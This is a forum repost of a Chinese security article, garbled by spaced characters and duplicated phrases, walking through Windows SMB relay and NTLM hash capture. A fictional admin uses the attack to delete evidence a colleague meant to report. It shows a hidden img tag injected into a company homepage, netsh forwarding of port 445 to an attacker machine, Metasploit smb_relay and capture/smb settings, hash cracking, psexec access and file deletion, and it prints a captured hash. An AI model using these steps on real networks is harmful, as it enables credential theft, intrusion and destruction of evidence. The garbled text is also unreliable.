搜索

[14022] 2019-04-23_内网穿透Windows（SMB）自认证的利用

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2019-04-23_内网穿透Windows（SMB）自认证的利用 内 网 穿 透 W i n d o w s （ S M B ） 自 认 证 的 利 用   F r e e B u f   2 0 1 9 - 0 4 - 2 3 S M B 又 名 网 络 文 件 共 享 文 件 ， 顾 名 思 义 其 作 用 是 用 于 用 户 与 服 务 端 之 间 的 文 件 交 互 。 默 认 端 口 为 又 名 网 络 文 件 共 享 文 件 ， 顾 名 思 义 其 作 用 是 用 于 用 户 与 服 务 端 之 间 的 文 件 交 互 。 默 认 端 口 为 1 3 9 ， ， 4 4 5 。 。 S M B 的 认 证 过 程 在 这 里 就 不 重 复 的 认 证 过 程 在 这 里 就 不 重 复 描 述 了 ， 具 体 可 以 看 我 上 一 篇 写 的 文 章 ， 路 由 器 抓 包 分 析 之 描 述 了 ， 具 体 可 以 看 我 上 一 篇 写 的 文 章 ， 路 由 器 抓 包 分 析 之 S M B 篇 。 在 认 证 的 时 候 细 心 的 同 学 一 定 会 发 现 在 篇 。 在 认 证 的 时 候 细 心 的 同 学 一 定 会 发 现 在 W i n d o w s 下 访 问 下 访 问 S M B 服 务 器 会 默 服 务 器 会 默 认 使 用 当 前 用 户 认 使 用 当 前 用 户 h a s h 去 向 去 向 S M B 服 务 器 发 起 认 证 。 下 面 的 实 验 便 与 这 个 机 制 有 关 。 服 务 器 发 起 认 证 。 下 面 的 实 验 便 与 这 个 机 制 有 关 。 实 验 环 境 ： 实 验 环 境 ： w i n d o w s   7   ( s m b   s e r v e r )                               1 9 2 . 1 6 8 . 0 . 1 0 0 w i n d o w 7 ( b o b 管 理 的 网 站 管 理 的 网 站 )                             1 9 2 . 1 6 8 . 0 . 2 k a l i ( 攻 击 机 攻 击 机 / 路 人 甲 路 人 甲 )                                                   1 9 2 . 1 6 8 . 0 . 1 2 2 （ 因 为 懒 直 接 用 同 一 网 段 （ 因 为 懒 直 接 用 同 一 网 段 I P 了 ， 大 家 可 以 假 装 这 台 是 外 网 机 器 ） 了 ， 大 家 可 以 假 装 这 台 是 外 网 机 器 ） 实 验 模 拟 ： 实 验 模 拟 ： B o b 是 公 司 网 站 管 理 员 ， 一 天 同 部 门 的 A l i c e 发 现 B o b 跟 B o s s 老 婆 有 一 腿 ， 决 定 向 B O S S 举 报 。 并 把 证 据 上 传 到 了 S M B 服 务 器 ， B o b 知 道 后 急 忙 到 S M B 服 务 器 上 查 看 ， 结 果 发 现 自 己 没 有 权 限 访 问 ， 于 是 急 忙 向 好 哥 们 路 人 甲 救 助 。 路 人 甲 知 道 情 况 后 一 阵 思 考 ， 决 定 用 S M B 中 继 来 窃 取 凭 证 登 陆 S M B 服 务 器 ， 简 单 画 一 下 原 理 图 。 正 常 认 证 如 图 1 为 正 常 认 证 过 程 。 中 继 认 证 如 图 2 所 示 为 以 b o b 的 网 站 服 务 器 作 为 攻 击 机 ， 但 是 服 务 器 上 存 在 杀 毒 软 件 ， 所 以 失 败 。
穿 透 内 网 中 继 认 证 如 图 3 所 示 为 以 B o b 的 服 务 器 为 代 理 ， 把 服 务 器 的 4 4 5 端 口 转 发 到 外 网 V P S ， 再 以 V P S 为 攻 击 机 进 行 中 继 攻 击 。 首 先 在 公 司 主 页 上 插 入 一 段 J S < i m g   s r c = / / 1 9 2 . 1 6 8 . 0 . 2   h i d d e n = " 看 不 见 我 " > 。 因 为 B o b 是 网 站 管 理 员 所 以 插 入 代 码 并 不 难 ， 1 9 2 . 1 6 8 . 0 . 2 是 B o b 管 理 的 网 站 服 务 器 ， 在 B o b 的 公 司 每 个 人 上 班 都 需 到 官 网 打 卡 签 到 ， 前 面 也 说 到 了 S M B 自 动 认 证 的 机 制 ， 所 以 只 要 员 工 用 I E （ c h r o m e 和 f i r e f o x 亲 测 无 效 ） 访 问 公 司 官 网 就 会 进 行 自 动 认 证 。 原 本 想 在 网 站 服 务 器 上 直 接 装 m s f 完 成 攻 击 的 ， 但 是 B o b 公 司 买 了 某 6 0 牌 的 杀 毒 软 件 。 一 装 就 会 触 发 警 报 ， 所 以 路 人 甲 决 定 把 端 口 转 发 出 来 。 由 于 4 4 5 是 默 认 端 口 ， 要 转 发 出 来 首 先 要 停 用 服 务 。 B o b ' s   w e b   s e r v e r 配 置 ： 配 置 ： 打 开 注 册 表 ， 在 H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t s e r v i c e s N e t B T P a r a m e t e r s 中 添 加 S M B D e v i c e E n a b l e d 并 设 置 值 为 0 ： 更 改 注 册 表 接 着 打 开 服 务 ， 找 到 s e r v e r 项 ， 停 止 s e r v e r 服 务 ， 并 在 属 性 更 改 启 动 类 型 为 禁 用 。
服 务 重 启 后 就 会 发 现 4 4 5 端 口 被 关 闭 了 。 接 着 就 可 以 把 4 4 5 端 口 转 发 至 外 网 。 管 理 员 运 行 ： 端 口 转 发 外 网 外 网 V P S / 攻 击 机 上 配 置 攻 击 机 上 配 置 : 启 动 启 动 m s f 这 里 少 了 一 步 内 网 转 发 ， 可 以 用 a n t s , e w , l c x , w e b 代 理 等 等 等 把 内 网 代 理 转 发 到 外 网 。 配 置 m s f 接 着 运 行 等 待 ， 果 不 其 然 ， 在 第 二 天 早 上 所 有 员 工 打 卡 之 后 ， 终 于 抓 到 了 有 权 限 登 陆 S M B 服 务 器 的 h a s h 并 进 行 中 继 ， 拿 到 了 s m b 服 务 器 的 权 限 ， 成 功 删 除 了 证 据 。 n e t s h   i n t e r f a c e   p o r t p r o x y a d d   v 4 t o v 4     l i s t e n p o r t = 4 4 5 c o n n e c t a d d r e s s = 1 9 2 . 1 6 8 . 0 . 1 2 2   c o n n e c t p o r t = 8 0 8 0 u s e   e x p l o i t / w i n d o w s / s m b / s m b _ r e l a y   s e t   s m b h o s t   1 9 2 . 1 6 8 . 0 . 1 0 0   s e t   s r v p o r t   8 0 8 0
成 功 拿 到 S M B 服 务 器 权 实 验 模 拟 实 验 模 拟 2 ： ： 上 面 说 到 A l i c e 发 现 B o b 与 B O S S 老 婆 有 一 腿 ， 然 后 A l i c e 把 证 据 上 传 到 了 S M B 服 务 器 准 备 举 报 ， 在 B o b 的 好 哥 们 路 人 甲 的 帮 助 下 删 除 了 证 据 。 但 是 B o b 仍 旧 担 心 A l i c e 的 P C 机 内 会 存 有 证 据 的 备 份 ， B o b 只 能 继 续 救 助 自 己 的 好 哥 们 路 人 甲 。 路 人 甲 通 过 B o b 知 道 了 A l i c e 在 内 网 的 I P 为 1 9 2 . 1 6 8 . 0 . 3 。 首 先 路 人 甲 用 s m b _ t o u c h 扫 描 1 9 2 . 1 6 8 . 0 . 3 的 4 4 5 端 口 ， 发 现 A l i c e 的 P C 竟 然 用 的 是 X P ， 都 2 0 1 9 了 竟 然 还 有 人 用 X P 。 既 然 能 访 问 4 4 5 还 是 X P 系 统 直 接 使 用 永 恒 之 蓝 对 其 进 行 攻 击 ， 发 现 攻 击 失 败 。 背 后 通 过 B o b 得 知 全 公 司 的 内 网 P C 都 安 装 了 某 6 0 的 杀 毒 软 件 。 未 命 名 某 6 0 为 X P 保 驾 护 航 ， 既 然 安 装 了 某 6 0 的 杀 毒 软 件 ， 许 多 攻 击 都 无 法 进 行 ， 只 能 另 想 办 法 ， 于 是 路 人 甲 便 想 到 了 把 自 己 的 攻 击 机 伪   装 S M B 服 务 器 ， 让 其 他 用 户 向 其 认 证 进 行 抓 取 h a s h 。 原 理 图 2 所 示 ：
原 理 图 B o b   w e b   s e r v e r   配 置 ： 配 置 ： 1 . 在 W e b 首 页 上 加 上 j s 代 码 2 . 关 闭 4 4 5 端 口 ， 将 4 4 5 端 口 转 发 到 1 9 2 . 1 6 8 . 0 . 1 2 2 的 8 0 8 0 端 口 。 （ 因 为 装 了 某 6 0 杀 毒 软 件 ， 需 要 转 发 端 口 到 外 网 ， 具 体 操 作 见 上 一 篇 文 章 ） 。 路 人 甲 路 人 甲 V P S ： ： 启 动 m s f 并 配 置 ： m s f 配 置 如 图 1 1 所 示 这 里 我 们 可 以 看 到 配 置 中 有 c h a l l e n g e 这 一 项 ， 这 里 之 所 以 把 c h a l l e n g e 设 为 1 1 2 2 3 3 4 4 5 5 6 6 7 7 8 8 是 因 为 已 经 有 人 通 过 这 个 挑 战 值 生 成 了 彩 虹 表 ， 这 样 可 以 减 少 跑 h a s h 所 花 费 的 时 间 。 配 置 完 之 后 只 需 静 静 等 待 A l i c e 明 天 打 卡 上 班 就 可 以 抓 到 她 的 h a s h 了 。 u s e   a u x i l i a r y / s e r v e r / c a p t u r e / s m b   s e t   s r v p o r t   8 0 8 0   e x p l o i t
通 过 组 合 h a s h 得 到 N e t - n t l m v 1 ： 接 着 把 h a s h 扔 进 h a s h c a t 跑 出 明 文 密 码 ， 利 用 p s e x e c 通 过 4 4 5 端 口 对 A l i c e 机 子 进 行 命 令 执 行 ， 然 后 全 盘 搜 索 ， 成 功 删 除 了 证 据 文 件 。 * 本 文 作 者 ： ， 转 载 请 注 明 来 自 F r e e B u f . C O M 推 推 荐 荐 阅 阅 读 读 成 功 抓 取 h a s h 值 A d m i n i s t r a t o r : : F U C K 1 : 6 8 2 2 b 1 2 6 a a c 8 1 5 8 1 d b c c 3 5 7 6 a 5 2 d c 4 6 1 2 f 8 5 2 5 2 c c 7 3 1 b b 2 5 : a 7 7 b 6 f b d 0 2 4 7 c 6 5 6 b e 5 9 e 4 0 9 a e 3 a 0 1 c 0 7 c a 6 b b c 1 1 d e c 9 3 2 2 : 1 1 2 2 3 3 4 4 5 5 6 6 7 7 8 8
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理